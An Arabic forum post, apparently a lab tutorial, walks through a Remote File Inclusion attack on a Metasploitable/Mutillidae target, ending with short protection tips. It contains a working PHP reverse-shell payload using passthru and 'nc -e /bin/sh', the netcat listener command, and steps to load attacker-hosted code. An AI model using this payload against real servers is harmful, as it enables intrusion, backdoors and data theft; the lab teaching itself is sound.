- بواسطة x32x01 ||
إيه هي ثغرة RFI أصلاً؟ 🤔
هجمة RFI أو (Remote File Inclusion) هي النوع التاني من هجمات الـFile inclusion. يعني ببساطة إدخال ملف عن بعد! ♻️الفرق بين LFI و RFI 🎯
- LFI: ثغرة محلية - كل التنفيذ داخل السيرفر نفسه 🏠
- RFI: ثغرة عن بعد - التنفيذ بيكون من برة السيرفر 🌐
ازاي بتنفذ هجمة RFI خطوة بخطوة 👣
الأدوات المطلوبة 🛠️
- ويب سيرفر (في لينكس) 🐧
- سيرفر مستهدف (هستخدم metasploitable) 🎯
- ملف txt فيه كود خبيث 📄
تحضير السيرفر للهجمة ⚙️
اول حاجة تدخل على السيرفر من نفس الـVirtual Machine وتروح للمسار ده: Code:
/etc/php5/cgi بعد كده هتعدل على الملف بالأمر ده:
Code:
nano php.ini اضغط ctrl+w وابحث عن كلمة
allow_url وهتظهرلك السطور دي:غير الإعداد من:
Code:
allow_url_include = Off Code:
allow_url_include = On وده بالظبط اللي بيسبب المشكلة لما المبرمجين ينسوه مفتوح من غير حمايات! 😥
خلصان؟ اضغط
ctrl+x واختار Y ثم enter.اخر حاجة - إعادة تشغيل سيرفر الأباتشي:
Code:
sudo etc/init.d/apache2 restart بداية الهجمة الحقيقية 🚀
الخطوة الأولى: الدخول للتطبيق
هندخل على mutilidae في الـmetasploitable والرابط هيبقى شكله كده: Code:
http://192.168.1.126/mutillidae/index.php?page=text-file-viewer.php الخطوة الثانية: حقن الملف الخبيث 🔓
هتغير اسم الملف من: Code:
text-file-viewer.php Code:
http://ip:PORT/filename وفي حالتنا هتبقى كده:
Code:
http://192.168.1.113:8000/Desktop/shell.txt الكود الخبيث اللي هنحقنه ⚠️
PHP:
<?
passthru("nc -e /bin/sh IP PORT")
?> شرح بسيط للكود:
passthru(): خاصية في PHP بتنفذ أوامر النظام 🖥️- `
nc -e /bin/sh IP PORT: بيبعت اتصال لـIP معين على البورت المحدد 📡
استقبال الاتصال 🎧
قبل ما تضغط enter في المتصفح، افتح تيرمنال جديد وادخل الأمر ده: Code:
nc -lvp PORT النتيجة النهائية 🎯
بعد ما تضغط enter وتنفذ الهجمة، هتقدر:
- تتجول في السيرفر 🚶♂️
- ترفع صلاحياتك ⬆️
- تستعرض معلومات حساسة 📋
- ترفع backdoors 🚪
- وكل اللي نفسك فيه! 💥
نصائح مهمة للحماية 🛡️
- متفتحش
allow_url_includeإلا لو محتاج جداً ❌ - دايماً validate المدخلات من المستخدم ✅
- استخدم whitelist للملفات المسموح بيها 📋
- حط تحديثات أمان باستمرار 🔄
التعديل الأخير: